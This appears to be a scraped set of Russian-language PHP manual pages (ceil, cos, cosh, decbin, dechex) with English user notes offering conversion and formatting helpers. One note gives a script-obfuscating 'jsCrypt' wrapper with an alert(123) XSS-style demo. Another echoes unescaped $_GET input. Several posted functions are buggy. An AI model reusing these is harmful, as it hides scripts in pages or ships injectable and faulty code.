    $val = ceil($val);
  return $val /$p;
}
steve_phpnet // nanovox \\ com 28-Feb-2005 12:40
I couldn't find any functions to do what ceiling does while still leaving I specified number of decimal places, so I wrote a couple functions myself.  round_up is like ceil but allows you to specify a number of decimal places.  round_out does the same, but rounds away from zero.

<?php
 // round_up:
 // rounds up a float to a specified number of decimal places
 // (basically acts like ceil() but allows for decimal places)
 function round_up ($value, $places=0) {
  if ($places < 0) { $places = 0; }
  $mult = pow(10, $places);
  return ceil($value * $mult) / $mult;
 }

 // round_out:
 // rounds a float away from zero to a specified number of decimal places
 function round_out ($value, $places=0) {
  if ($places < 0) { $places = 0; }
  $mult = pow(10, $places);
  return ($value >= 0 ? ceil($value * $mult):floor($value * $mult)) / $mult;
 }

 echo round_up (56.77001, 2); // displays 56.78
 echo round_up (-0.453001, 4); // displays -0.453
 echo round_out (56.77001, 2); // displays 56.78
 echo round_out (-0.453001, 4); // displays -0.4531
?>
aaron at mind-design dot co dot uk 21-Jul-2004 01:10
Or for the terniary fans:

<?php

function roundaway($num) {
   return(($num > 0) ? ceil($num) : floor($num));
}

?>

Slightly pointless, but there you have it, in one line only..
rainfalling at yahoo dot com 22-Apr-2004 05:51
IceKarma said: "If you want, say, 2.6 to round to 3, and -2.6 to round to -3, you want round(), which rounds away from zero."

That's not always true. round() doesn't work that way, like zomis2k said it just rounds up _or_ down to the nearest non-decimal number. However this should work.

<?php

function roundaway($num) {
    if ($num > 0)
      return ceil($num);
    elseif ($num < 0)
      return floor($num);
    elseif ($num == 0)
      return 0;
}

?>
roger_dupere at hotmail dot com 10-Nov-2003 02:02
Here is a navbar using the ceil function.

<?php
 function navbar($num_rows,$page,$link) {
   $nbrlink = 10; /* Number of link to display per page */
   $page = (int) $page; /* Page now displayed */
   $num_rows = (int) $num_rows;

   if( $num_rows > 0 ) {
     $total_page = ceil( $num_rows / $nbrlink );

     for( $i=1;$i<$total_page+1;$i++ ) {
       if( $i == $page ) {
         $ret .= " <b>$i</b> ";
       } else {
         if( strstr( $link,"?" ) ) {
           $ret .= " <a href=\"$link&page=$i\">$i</a> ";
         } else {
           $ret .= " <a href=\"$link?page=$i\">$i</a> ";
         }
       }
     }

     return $ret;
   }
 }
  /* Let say that $num_rows content the numbre of rows of your sql query */
  $navbar = navbar( $num_rows, $page, "listmovie.php?id=$id" );

  if( $navbar != null || $navbar != "" ) {
    print( "<p><div align=\"center\">$navbar</div></p>" );
  }
?>


Косинус

  • « ceil
  • cosh »
  • PHP Manual
  • Математические функции
  • Косинус

cos

(PHP 4, PHP 5, PHP 7, PHP 8)

cos — Косинус

Описание

cos(float $num): float

cos() возвращает косинус параметра num. Параметр num задаётся в радианах.

Список параметров

num

Угол в радианах

Возвращаемые значения

Косинус угла num

Примеры

Пример #1 Пример использования cos()

<?php

echo cos(M_PI); // -1

?>

Смотрите также

  • acos() - Вычисляет арккосинус
  • sin() - Синус
  • tan() - Тангенс
  • deg2rad() - Преобразует значение из градусов в радианы

User Contributed Notes

There are no user contributed notes for this page.


Гиперболический косинус

  • « cos
  • decbin »
  • PHP Manual
  • Математические функции
  • Гиперболический косинус

cosh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

cosh — Гиперболический косинус

Описание

cosh(float $num): float

Возвращает гиперболический косинус num, определяемый как (exp($num) + exp(-$num))/2.

Список параметров

num

Входное значение

Возвращаемые значения

Гиперболический косинус num

Смотрите также

  • cos() - Косинус
  • acosh() - Гиперболический арккосинус
  • sinh() - Гиперболический синус
  • tanh() - Гиперболический тангенс

User Contributed Notes

There are no user contributed notes for this page.


Переводит число из десятичной системы счисления в двоичную

  • « cosh
  • dechex »
  • PHP Manual
  • Математические функции
  • Переводит число из десятичной системы счисления в двоичную

decbin

(PHP 4, PHP 5, PHP 7, PHP 8)

decbin — Переводит число из десятичной системы счисления в двоичную

Описание

decbin(int $num): string

Возвращает строку, содержащую двоичное представление указанного аргумента num.

Список параметров

num

Десятичное число для преобразования

Область ввода для 32-битных машин
положительный num | отрицательный num | возвращаемое значение
0 | 0
1 | 1
2 | 10
... и так далее ...
2147483646 | 1111111111111111111111111111110
2147483647 (наибольший знаковый integer) | 1111111111111111111111111111111 (31 единица)
2147483648 | -2147483648 | 10000000000000000000000000000000
... и так далее ...
4294967294 | -2 | 11111111111111111111111111111110
4294967295 (наибольший беззнаковый integer) | -1 | 11111111111111111111111111111111 (32 единицы)
Область ввода для 64-битных машин
положительный num | отрицательный num | возвращаемое значение
0 | 0
1 | 1
2 | 10
... и так далее ...
9223372036854775806 | 111111111111111111111111111111111111111111111111111111111111110
9223372036854775807 (наибольший знаковый integer) | 111111111111111111111111111111111111111111111111111111111111111 (63 единицы)
-9223372036854775808 | 1000000000000000000000000000000000000000000000000000000000000000
... и так далее ...
-2 | 1111111111111111111111111111111111111111111111111111111111111110
-1 | 1111111111111111111111111111111111111111111111111111111111111111 (64 единицы)

Возвращаемые значения

Бинарное строковое представление num

Примеры

Пример #1 Пример использования decbin()

<?php
echo decbin(12) . "\n";
echo decbin(26);
?>

Результат выполнения данного примера:

1100
11010

Смотрите также

  • bindec() - Двоичное в десятичное
  • decoct() - Переводит число из десятичной системы счисления в восьмеричную
  • dechex() - Переводит число из десятичной системы счисления в шестнадцатеричную
  • base_convert() - Преобразование числа между произвольными системами счисления
  • printf() - Выводит отформатированную строку, используя форматы %b, %032b или %064b
  • sprintf(), используя форматы %b, %032b или %064b

User Contributed Notes

coverup 03-Mar-2017 07:09
Regarding trailing zeros, after test all the option mention here by others, i have performed my own tests regarding efficiency, here are the results:

<?php

$decimal = 9;

$time_start = microtime(true);
for ($i=0;$i<1000;$i++){
$bin = printf('%08b',  $decimal);
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo "<hr>Duracion $time segundos<br>\n";
echo $bin . '<br>';

$time_start = microtime(true);
for ($i=0;$i<1000;$i++){
$bin = sprintf( "%08d", decbin( $decimal ));
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo "<hr>Duracion $time segundos<br>\n";
echo $bin . '<br>';

$time_start = microtime(true);
for ($i=0;$i<1000;$i++){
$bin = decbin($decimal);
$bin = substr("00000000",0,8 - strlen($bin)) . $bin;
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo "<hr>Duracion $time segundos<br>\n";
echo $bin . '<br>';

?>

results

0000100100001001000010010000100.... (output is echoed 1000 times)
Duracion 0.0134768486023 segundos
8
Duracion 0.00054407119751 segundos
00001001
Duracion 0.000833988189697 segundos
00001001

Thus the winner is
<?php
$bin = sprintf( "%08d", decbin( $decimal ));
?>
malcolm.murphy 02-Feb-2017 03:42
The GNU MP library (http://php.net/manual/en/book.gmp.php) provides methods to efficiently convert binary strings of any length to their binary representation (i.e., a `decbin` equivalent for strings).

<?php

$str = random_bytes(1024); // binary string example

$result = gmp_strval(gmp_import($str), 2); // see manual for options such as endianness

$zeroPadded = sprintf('%0' . (strlen($str) * 8) . 's', $result); // zero-pad if needed, e.g. with str_pad, or sprintf as shown here

$strAgain = gmp_export(gmp_init($result, 2)); // reverse operation similar to bindec

?>
rambabusaravanan at gmail dot com 05-Jan-2017 01:08
Print as binary format with leading zeros into a variable in one simple statement.

<?php
    $binary = sprintf('%08b',  $decimal);    // $decimal = 5;
    echo $binary;    // $binary = "00000101";
?>
noname at example dot com 08-Jul-2015 05:29
If you want leading zeros use php built-in features instead of custom functions

<?php
printf('%08b',  $decimal);
?>

>> printf('%08b', E_NOTICE)
>> 00001000
MarcelG 11-Feb-2014 10:07
To add leading zeros I prefer the following:
<?php
// Add leading zeros
$bin = sprintf( "%08d", decbin( 26 )); // "00011010"
?>
dj.luiting(.a.t.)gmail.com 22-Jan-2014 09:06
hi folks, i struggled for a day to get a big decimal number converted into binary, on the windows platform.
finally with bcmath functions this is what worked for me.

function bc_convert2bin($string) {

    //got it to work with bcmath functions, works for 64 bit on 32 bit windows machine
    $finished=0;
    $base=2;
    $bin_nr='';

    if(preg_match("/[^0-9]/", $string)) {
        for($i=0; $string!=chr($i); $i++) {
            $dec_nr=$i;
        }
    } else {
        $dec_nr=$string;
    }
    //while( $dec_nr>$base ) {
    while( bccomp($dec_nr,$base) == 1 ) {

        //$base=$base*2;
        $base=bcmul($base,'2');
        //if($base>$dec_nr) {
        if( bccomp($base,$dec_nr) == 1 ) {
            //$base=$base/2;
            $base=bcdiv($base,'2');
            break;
        }
    }

    while(!$finished) {

        //if(($dec_nr-$base)>0) {
        if( bccomp( bcsub($dec_nr,$base) , 0) == 1 ) {

            //$dec_nr=$dec_nr-$base;
            $dec_nr=bcsub($dec_nr,$base);
            $bin_nr.=1;
            //$base=$base/2;
            $base=bcdiv($base,'2');

        //} elseif(($dec_nr-$base)<0) {
        } elseif( bccomp( bcsub($dec_nr,$base) , 0) == -1 ) {

            $bin_nr.=0;
            //$base=$base/2;
            $base=bcdiv($base,'2');

        //} elseif(($dec_nr-$base)==0) {
        } elseif( bccomp( bcsub($dec_nr,$base) , 0) == 0 ) {

            $bin_nr.=1;
            $finished=1;
            //while($base>1) {
            while( bccomp($base,1) == 1 ) {

                $bin_nr.=0;
                //$base=$base/2;
                $base=bcdiv($base,'2');

            }
        }
    }
    return $bin_nr;
}
mcampa at gmail dot com 23-Aug-2013 03:09
A little useful little function that returns a binary string with leading 0s:

function d2b($n) {
  return str_pad(decbin($n), 16, "0", STR_PAD_LEFT);
}

// example:
echo d2b(E_ALL);
echo d2b(E_ALL | E_STRICT);
echo d2b(0xAA55);
echo d2b(5);

Output:
0111011111111111
0111111111111111
1010101001010101
0000000000000101
Silas R (15) 05-Mar-2013 06:00
This is my System:

You can convert a decimal number to a number system you want, like the binary system.

<?php

    function Dec2oSys($numberDec, $SysNum)
    {
        if($numberDec != 0)
        {
            $numberOSys = "";
            for (; $numberDec > 0;) {
                $numberDecBefore = $numberDec;
                $numberDec = $numberDec / $SysNum;
                $pos = strpos($numberDec, '.');
                if($pos != false)
                {
                    $numberDec = floor($numberDec);
                    $numberOSys .= $numberDecBefore - floor($numberDec) * $SysNum;
                    $rest = $numberDecBefore - floor($numberDec) * $SysNum;
                }
                else
                {
                    $numberOSys .= "0";
                    $rest = 0;

                }
                print $numberDec."; Rest:".$rest."<br/>";
            }
        }
        else
        {
            $numberOSys = "0";
        }
        return strrev($numberOSys);
    }

    print Dec2oSys(100, 2);

?>
Nitrogen 21-Jul-2009 10:30
Decimal to Binary conversion using the BCMath extension.

<?php

function BCDec2Bin($Input='') {
 $Output='';
 if(preg_match("/^\d+$/",$Input)) {
   while($Input!='0') {
     $Output.=chr(48+($Input{strlen($Input)-1}%2));
     $Input=BCDiv($Input,'2');
   }
   $Output=strrev($Output);
 }
 return(($Output!='')?$Output:'0');
}

?>

This will simply convert from Base-10 to Base-2 using BCMath (arbitrary precision calculation).

See also: my 'BCBin2Dec' function on the 'bindec' document.
Enjoy,
Nitrogen.
Kay 04-Oct-2008 05:04
I think this is the best function. Is almost endlessy (till 2^50 or something)

<?php
function bin($int)
{
    $i = 0;
    $binair = "";
    while($int >= pow(2,$i))
    {
        $i++;
    }

    if($i != 0)
    {
        $i = $i-1; //max i
    }

    while($i >= 0)
    {
        if($int - pow(2,$i) < 0)
        {
            $binair = "0".$binair;
        }else{
            $binair = "1".$binair;
            $int = $int - pow(2,$i);
        }

        $i--;
    }
    return $binair;
}

$getal = $_GET['getal'];

echo bin($getal);
?>
avenger at avenger dot ws 24-Aug-2008 06:25
Careful trying binary-wise tests with integers:

# FFFFFFFF
command: php -r 'print(decbin(4294967295)."\n");'
result: 11111111111111111111111111111111

# C3E9CAC8
command: php -r 'print(decbin(3286878920)."\n");'
result: 11000011111010011100101011001000

# regardless of specifying "(int)", using bitwise AND:
command: php -r 'print((int)(3286878920 & 4294967295)."\n");'
result: -1008088376 (int)

# now the expected result will happen (guess the performance impact)
command: php -r 'print(bindec(decbin((3286878920 & 4294967295)))."\n");'
result: 3286878920 (float)

additional note: if you "bitwise and" some random bits with a sequence of 1-bit of the same length, the expected result is the same "random bits sequence" unchanged. If you want to keep this in the integer world for faster comparisons, you risk messing your result for the signed integer size limitation. The maximum value you can use for the desired result is (7FFFFFFF -- or integer 2147483647), half of the maximum 'unsigned' integer 32-bit(platform-dependent) value.
darkshad3 at yahoo dot com 15-Feb-2007 03:15
<?php
Print bindecValues("1023");

function bindecValues($decimal, $reverse=false, $inverse=false) {
/*
1. This function takes a decimal, converts it to binary and returns the
     decimal values of each individual binary value (a 1) in the binary string.
     You can use larger decimal values if you pass them to the function as a string!
2. The second optional parameter reverses the output.
3. The third optional parameter inverses the binary string, eg 101 becomes 010.
-- darkshad3 at yahoo dot com
*/

    $bin = decbin($decimal);
    if ($inverse) {
        $bin = str_replace("0", "x", $bin);
        $bin = str_replace("1", "0", $bin);
        $bin = str_replace("x", "1", $bin);
    }
    $total = strlen($bin);

    $stock = array();

    for ($i = 0; $i < $total; $i++) {
        if ($bin{$i} != 0) {
            $bin_2 = str_pad($bin{$i}, $total - $i, 0);
            array_push($stock, bindec($bin_2));
        }
    }

    $reverse ? rsort($stock):sort($stock);
    return implode(", ", $stock);
}
?>

The printed result is : 1, 2, 4, 8, 16, 32, 64, 128, 256, 512
Xavier Daull 04-Feb-2006 02:57
A fast function to convert a binary string to a bit sequence

<?php

function BinString2BitSequence($mystring) {
    $mybitseq = "";
    $end = strlen($mystring);
    for($i = 0 ; $i < $end; $i++){
        $mybyte = decbin(ord($mystring[$i])); // convert char to bit string
        $mybitseq .= substr("00000000",0,8 - strlen($mybyte)) . $mybyte; // 8 bit packed
    }
    return $mybitseq;
}

echo BinString2BitSequence("ABCDEF"); // OUTPUT=010000010100001001000011010001000100010101000110

?>
06-Jan-2006 06:29
Just an example:
If you convert 26 to bin you'll get 11010, which is 5 chars long. If you need the full 8-bit value use this:

$bin = decbin(26);
$bin = substr("00000000",0,8 - strlen($bin)) . $bin;

This will convert 11010 to 00011010.
08-Feb-2005 07:27
base_convert( base_convert('100001000100000000010001001000
0100100000001111111111111111111',2,10),10,2);

return
'1000010001000000000100010010000
100100000010000000000000000000'

this function doesn't work
php at silisoftware dot com 28-Feb-2002 07:15
Another larger-than-31-bit function.
Works for very large numbers, but at the expense of perfect bit-precision as the size increases (I noticed rounding errors past 16 or so decimal places) so use with caution, and only when decbin() won't cut it.

function Dec2Bin($number) {
    while ($number >= 256) {
        $bytes[] = (($number / 256) - (floor($number / 256))) * 256;
        $number = floor($number / 256);
    }
    $bytes[] = $number;
    for ($i=0;$i<count($bytes);$i++) {
        $binstring = (($i == count($bytes) - 1) ? decbin($bytes[$i]) : str_pad(decbin($bytes[$i]), 8, "0", STR_PAD_LEFT)).$binstring;
    }
    return $binstring;
}
ajl at gmx dot de 08-Oct-2001 01:47
HERE you can convert 64bit instead of 32bit with the standard decbin
<?
function bigdecbin($dec,$doublewords=1) {
    $erg = "";
    do {
          $rest = $dec%2147483648;
          if ($rest<0) $rest+=2147483648;
          $erg = str_pad(decbin($rest),31,"0",STR_PAD_LEFT).$erg;
          $dec = ($dec-$rest)/2147483648;
      } while (($dec>0)&&(!($dec<1)));

      return str_pad($erg,$doublewords*31,"0",STR_PAD_LEFT);
}

echo "<pre>";
for ($i=1.5*2147483647.0-10;$i<1.5*2147483647.0+10;$i++) {
    echo "DEC:".$i." BIN:".bigdecbin($i,2)."<br>";
}
echo "</pre>";
?>


Переводит число из десятичной системы счисления в шестнадцатеричную

  • « decbin
  • decoct »
  • PHP Manual
  • Математические функции
  • Переводит число из десятичной системы счисления в шестнадцатеричную

dechex

(PHP 4, PHP 5, PHP 7, PHP 8)

dechex — Переводит число из десятичной системы счисления в шестнадцатеричную

Описание

dechex(int $num): string

Возвращает строку, содержащую шестнадцатеричное представление указанного беззнакового аргумента num.

Наибольшее число, которое может быть преобразовано - PHP_INT_MAX * 2 + 1 (или -1): на 32-битных платформах это 4294967295 в десятеричной системе, что конвертируется функцией dechex() в ffffffff.

Список параметров

num

Десятичное значение для преобразования

Так как тип PHP int является знаковым, а dechex() работает с беззнаковыми целыми, то отрицательные целые воспринимаются как беззнаковые.

Возвращаемые значения

Шестнадцатеричное строковое представление num.

Примеры

Пример #1 Пример использования dechex()

<?php
echo dechex(10) . "\n";
echo dechex(47);
?>

Результат выполнения данного примера:

a
2f

Пример #2 Пример использования dechex() с большими целыми

<?php
// Вывод подразумевает 32-битную платформу.
// Обратите внимание, что вывод одинаков для всех этих значений.
echo dechex(-1)."\n";
echo dechex(PHP_INT_MAX * 2 + 1)."\n";
echo dechex(pow(2, 32) - 1)."\n";
?>

Результат выполнения данного примера:

ffffffff
ffffffff
ffffffff

Смотрите также

  • hexdec() - Переводит число из шестнадцатеричной системы счисления в десятичную
  • decbin() - Переводит число из десятичной системы счисления в двоичную
  • decoct() - Переводит число из десятичной системы счисления в восьмеричную
  • base_convert() - Преобразование числа между произвольными системами счисления

User Contributed Notes

mahdiyari 24-Jul-2022 11:45
Zero padded hex strings as a pair of 2 (8bit).

<?php
function dec2hex($int) {
  $hex = dechex($int);
  if (strlen($hex)%2 != 0) {
    $hex = str_pad($hex, strlen($hex) + 1, '0', STR_PAD_LEFT);
  }
  return $hex;
}

dec2hex(2); // 02
dec2hex(10); // 0a
dec2hex(256); // 0100
?>
hugo 24-Apr-2017 05:12
warning jbleau dec_to_hex method is buggy, avoid it.

dec_to_hex('9900000397')-->24e16048f
dec_to_hex('9900000398')-->24e16048f
dec_to_hex('9900000399')-->24e16048f
delchodimi at gmail dot com 30-Apr-2015 02:43
I like the example with the bitwise operations but if the value of color[0] is less than 16 it's not accurate:
example:
color[0]: 0;
color[1]: 0;
color[2]: 255;
 function hexColor($color) {
  return dechex(($color[0]<<16)|($color[1]<<8)|$color[2]);
}
It returns "ff", which is not legit RGB color...
so my solution is to combine the function above with:
function toColor($n)
{
return("#".substr("000000".dechex($n),-6));
}

If you gotta deal with array of rgb values this is my solution:
------------------------------------------------------
function hexColor($color) {
    $rgb = dechex(($color[0]<<16)|($color[1]<<8)|$color[2]);
    return("#".substr("000000".$rgb, -6));
}
------------------------------------------------------
baoquyen804 at gmail dot com 01-Sep-2014 09:16
this base function convert string rgb to color
<?php
    function rgb_to_color($rgb, $symbols=' '){
        $color = '';
        $arr = explode($symbols, $rgb);
        $count = count($arr);
        for($i=0; $i<$count; $i++){
            $color .= dechex($arr[$i]);
        }
        return '#'.$color;
    }
       echo rgb_to_color('186 186 18');  // #baba12
    echo rgb_to_color('186-186-18', '-');  // #baba12
?>
jenny-schubert87 dot 1 at web dot de 31-Jul-2014 10:02
I figured out another way to do this:
if you have a very long decimal number in gmp format (you can always create a gmp number with gmp_init($numberstring), you can simply do gmp_strval($gmpnumber, 16), where $gmpnumber is your gmp number, and the 16 is the base you want to transform it to. Worked for me like a charm, also works for other bases.
Kory P. 10-Nov-2013 03:56
Or you could use this for an RGBA color.
    function toAlphaColor($n,$a)
    {
        $rgb = substr("000000".dechex($n),-6);
        $alpha = substr("00".dechex($a),-2);
        return("#".$rgb.$alpha);
    }
mailderemi at gmail dot com 13-Dec-2012 02:26
Javascript Crypt:

<?php
function jsCrypt($script,$level=1){
    for ($j=0;$j<$level;$j++){
        $asc='';
        for ($i=0;$i<strlen($script);$i++)
            $asc.='%'.dechex(ord($script[$i]));
        $script='<SCRIPT LANGUAGE="JavaScript">document.write(unescape(\''.$asc.'\'));</SCRIPT>';
    }
    return $script;
}

echo jsCrypt('<script>alert(123);</script>',1);
?>
hmlinks at gmail dot com 03-Oct-2012 01:02
I wrote this to convert hex into signed int, hope this helps someone out there... peace :)

<?php
$hex = dechex(-32767);
$dec = shexdex($hex);

function shexdex($hex){
    $dec = hexdec($hex);

    // Negative number (in binary if the msb is 1 then it is neg)
    // since one hex is 4bits, the value 8 and up contain msb of 1, hence negative number
    if ($hex[0] >= '8'){    // Note: if you use the digit 8 it is not the same as '8'
        $dec -= 1;
        $dec = ~$dec;

        return -$dec;
    }

    return $dec;
}

if ($dec == -32767){
    echo 'Yay!';
}
?>
sneskid at hotmail dot com 23-Mar-2012 07:09
If you want to create or parse signed Hex values:

<?php
// $d should be an int
function sdechex($d) { return ($d<0) ? ('-' . dechex(-$d)) : dechex($d); }

// $h should be a string
function shexdec($h) { return ($h[0] === '-') ? -('0x' . substr($h,1) + 0) : ('0x' . $h + 0); }

// test

$v = sdechex(-123); // string(3) "-7b"
$i = shexdec($v);   // int(-123)
var_dump($v, $i);
?>

Also note that ('0x' . $str + 0) is faster than hexdec()
andries at centim dot be 07-Mar-2012 02:44
If you need to convert a large number (> PHP_MAX_INT) to a hex value, simply use base_convert. For example:

base_convert('2190964402', 10, 16); // 829776b2
9381904 at gmail dot com 01-Nov-2011 10:11
for mac address
<?php
function dec2mac($mac) {
   $mac=preg_split("([.])", $mac, 6);
   $hexmac="";
   foreach ($mac as $part)
   {
   $part=dechex($part);
   strlen($part)<2 ? $hexmac.="0$part" : $hexmac.=$part;
   }
   return $hexmac;
}
echo dec2mac("0.29.96.71.60.137"); // 001d60473c89
?>
jbleau at gmail dot com 29-Oct-2008 02:23
I was confused by dechex's size limitation. Here is my solution to the problem. It supports much bigger values, as well as signs.

<?php
function dec_to_hex($dec)
{
    $sign = ""; // suppress errors
    if( $dec < 0){ $sign = "-"; $dec = abs($dec); }

    $hex = Array( 0 => 0, 1 => 1, 2 => 2, 3 => 3, 4 => 4, 5 => 5,
                  6 => 6, 7 => 7, 8 => 8, 9 => 9, 10 => 'a',
                  11 => 'b', 12 => 'c', 13 => 'd', 14 => 'e',
                  15 => 'f' );

    do
    {
        $h = $hex[($dec%16)] . $h;
        $dec /= 16;
    }
    while( $dec >= 1 );

    return $sign . $h;
}
?>
mountarreat at gmail dot com 11-May-2008 09:55
I was challenged by a problem with large number calculations and conversion to hex within php. The calculation exceeded unsigned integer and even float range. You can easily change it for your needs but it is, thanks to bcmath, capable of handling big numbers via string. This function will convert them to hex.

In this specific example though, since I use it for game internals that can only handle 32 bit numbers, it will truncate calculations at 8 digits. If the input is 1 for example it will be filled up with zeros. Output 00000001h.

Of course I don't claim it to be a good one, but it works for me and my purpose. Suggestions on faster code welcome!

<?php
// Turns numbers into 32-bit hex string; Fills up zeros
function lrgDec2Hex($number)
{
    $i = 0;
    $hex = array();

    while($i < 8) {
        if($number == 0) {
            array_push($hex, '0');
        }
        else {
            array_push($hex, strtoupper(dechex(bcmod($number, '16'))));
            $number = bcdiv($number, '16', 0);
        }
        $i++;
    }
    krsort($hex);
    return implode($hex);
}
?>
sjaak at spoilerfreaks dot com 09-Mar-2007 07:28
To force the correct usage of 32-bit unsigned integer in some functions, just add '+0'  just before processing them.

for example
<?php echo(dechex("2724838310")); ?>
will print '7FFFFFFF'
but it should print 'A269BBA6'

When adding '+0' php will handle the 32bit unsigned integer
correctly
<?php echo(dechex("2724838310"+0)); ?>
will print 'A269BBA6'
brent 15-Dec-2006 11:33
Be very careful calling dechex on a number if it's stored in a string.

For instance:

The max number it can handle is 4294967295 which in hex is FFFFFFFF, as it says in the documentation.

dechex(4294967295) => FFFFFFFF //CORRECT

BUT, if you call it on a string of a number, it casts to int, and automatically gives you the largest int it can handle.

dechex('4294967295') => 7FFFFFFF //WRONG!

so you'll need to cast to a float:

dechex((float) '4294967295') => FFFFFFFF //CORRECT

This took me FOREVER to figure out, so hopefully I just saved someone some time.
Mista-NiceGuy at web dot de 28-Dec-2005 05:00
These are functions to convert roman numbers (e.g. MXC) into dec and vice versa.
Note: romdec() does not check whether a string is really roman or not. To force a user-input into a real roman number use decrom(romdec($input)). This will turn XXXX into XL for example.

<?php
    function decrom($dec){
        $digits=array(
            1 => "I",
            4 => "IV",
            5 => "V",
            9 => "IX",
            10 => "X",
            40 => "XL",
            50 => "L",
            90 => "XC",
            100 => "C",
            400 => "CD",
            500 => "D",
            900 => "CM",
            1000 => "M"
        );
        krsort($digits);
        $retval="";
        foreach($digits as $key => $value){
            while($dec>=$key){
                $dec-=$key;
                $retval.=$value;
            }
        }
        return $retval;
    }

    function romdec($rom){
        $digits=array(
            "I" => 1,
            "V" => 5,
            "X" => 10,
            "L" => 50,
            "C" => 100,
            "D" => 500,
            "M" => 1000
        );
        $retval="";
        $chars=array();
        for($i=1;$i<=strlen($rom);$i++){
            $chars[]=substr($rom,$i-1,1);
        }
        $step=1;
        for($i=count($chars)-1;$i>=0;$i--){
            if(!isset($digits[$chars[$i]])){ return "Error!"; }
            if($step<=$digits[$chars[$i]]){
                $step=$digits[$chars[$i]];
                $retval+=$digits[$chars[$i]];
            }
            else{
                $retval-=$digits[$chars[$i]];
            }
        }
        return $retval;
    }

    echo decrom(romdec("XXXX"));
?>
cory at lavacube dot com 27-Oct-2005 04:45
A handy little function to convert HEX colour codes to "web safe" colours...

<?php

function color_mkwebsafe ( $in )
{
    // put values into an easy-to-use array
    $vals['r'] = hexdec( substr($in, 0, 2) );
    $vals['g'] = hexdec( substr($in, 2, 2) );
    $vals['b'] = hexdec( substr($in, 4, 2) );

    // loop through
    foreach( $vals as $val )
    {
        // convert value
        $val = ( round($val/51) * 51 );
        // convert to HEX
        $out .= str_pad(dechex($val), 2, '0', STR_PAD_LEFT);
    }

    return $out;
}

?>

Example: color_mkwebsafe('0e5c94');
Produces: 006699

Hope this helps someone out... Happy coding. :-)
oliver at realtsp dot com 14-Jun-2005 01:46
Warning for use on 64 bit machines! The Extra length matters!

32bit machine:
php -r 'echo dechex(4294967295);'
output: ffffffff

64bit machine:
php -r 'echo dechex(4294967295);'
output: ffffffff

so far it is ok. But for slightly bigger numbers:

32bit machine:
php -r 'echo dechex(4294967296);'
output: 0

64bit machine:
php -r 'echo dechex(4294967296);'
output: 100000000

note the difference!

This is particularly important when converting negative numbers:

64bit machine:
php -r 'echo dechex(-1);'
output: ffffffffffffffff

32bit machine:
php -r 'echo dechex(-1);'
output: ffffffff

If you want your code to be portable to amd64 or xeons (which are now quite popular with hosting companies) then you must ensure that your code copes with the different length of the result for negative numbers (and the max value, although that is probably less critical).
jrisken at mn dot rr dot com 28-May-2005 07:33
A less elegant but (perhaps) faster way to pad is with substr with a negative length argument. I use it in this tiny function which formats computed rgb color codes for style sheets:
<?
function toColor($n)
{
return("#".substr("000000".dechex($n),-6));
}
?>
admin AT bobfrank DOT org 01-May-2005 07:28
Here is a very small zeropadding that you can use for numbers:

function zeropad($num, $lim)
{
   return (strlen($num) >= $lim) ? $num : zeropad("0" . $num);
}

zeropad("234",6);

will produce:
000234

zeropad("234",1);

will produce:
234
morten at nilsen dot com 02-Jan-2005 04:30
I see a lot of less-than-optimal functions posted on this page, so I feel I have to give some better examples...
due to the sheer size of this collection, I have made it available on my server, rather than copy/paste it into these comments.

http://ryo-ohki.4th-age.com/demos/able.php
and
http://ryo-ohki.4th-age.com/demos/able.phps

dechex replacement function from above source:
<?php
  define('BIT_BYTE', 8); // bits per byte
  define('HEX_BYTE', BIT_BYTE/4); // hex digits in a byte

  define('BIT_INT',  32); // sizeof(int)
  define('HEX_INT',  BIT_INT / (BIT_BYTE/HEX_BYTE)); // hex digits in an int

  function i2h($int, $group=HEX_BYTE, $size=HEX_INT, $sep=' ') {
    $ret = '';
    while($size--) {
      $n=($int>>($size*4)) & 0xf;
      $ret .= $n>9?chr(55 + $n):$n;
      if($size && $size%$group == 0) $ret .= $sep;
    }
    return $ret;
  }

  echo i2h(rand(1,2)==1?-mt_rand():mt_rand());
?>
wangster at darkcore dot net 14-Dec-2004 11:36
This function will take a string and convert it into a hexdump.

e.g.

3c666f6e 74207369 7a653d22 33223e4c  <font.size."3">L
6561726e 20686f77 20746f20 62652061  earn.how.to.be.a

function hexdump($string) {
   $hex="";
   $substr = "";
   for ($i=0; $i < strlen($string) ;$i++) {
     if(!($i % 4) && $i != 0) {
       $hex .= " ";
     }
     if(!($i % 16) && $i != 0) {
       $clean = preg_replace("/[^a-zA-Z0-9!-.<>\/]/",".",$substr);
       $hex .= " ".htmlentities($clean)."\n";
       $substr = "";
     }
     $substr .=  $string[$i];
     $hex .= dechex(ord($string[$i]));
   }
   return $hex;
}
12-Dec-2004 07:31
If you need to generate random HEX-color, use this:
<?php
function random_hex_color(){
    return sprintf("%02X%02X%02X", mt_rand(0, 255), mt_rand(0, 255), mt_rand(0, 255));
}
$hex = random_hex_color(); // 09B826
?>

Enjoy.
11-Dec-2004 01:30
If you need to convert RGB-color into HEX-color, use this:
<?php
function rgb2hex($rgb){
    return sprintf("%06X", $rgb);
}
$hex = rgb2hex(65280); // 00FF00
?>
admin[TAKETHISOUT] at torsoft dot no-ip dot com 21-Apr-2004 12:01
<?php
/*
here are two functions, some might find them useful (maybe for encoding)
converting string to hex and hex to string:
*/

function strhex($string)
{
    $hex="";
    for ($i=0;$i<strlen($string);$i++)
        $hex.=(strlen(dechex(ord($string[$i])))<2)? "0".dechex(ord($string[$i])): dechex(ord($string[$i]));
    return $hex;
}
function hexstr($hex)
{
    $string="";
    for ($i=0;$i<strlen($hex)-1;$i+=2)
        $string.=chr(hexdec($hex[$i].$hex[$i+1]));
    return $string;
}
?>
daevid at daevid dot com 18-Mar-2004 02:59
Here's my version of a red->yellow->green gradient:

<?php
function colorMeter($percent, $invert = false)
{
    //$percent is in the range 0.0 <= percent <= 1.0
    //    integers are assumed to be 0% - 100%
             // and are converted to a float 0.0 - 1.0
    //     0.0 = red, 0.5 = yellow, 1.0 = green
    //$invert will make the color scale reversed
    //     0.0 = green, 0.5 = yellow, 1.0 = red

    //convert (int)% values to (float)
    if (is_int($percent)) $percent = $percent * 0.01;

    $R = min((2.0 * (1.0-$percent)), 1.0) * 255.0;
    $G = min((2.0 * $percent), 1.0) * 255.0;
    $B = 0.0;

    return (($invert) ?
sprintf("%02X%02X%02X",$G,$R,$B)
: sprintf("%02X%02X%02X",$R,$G,$B));
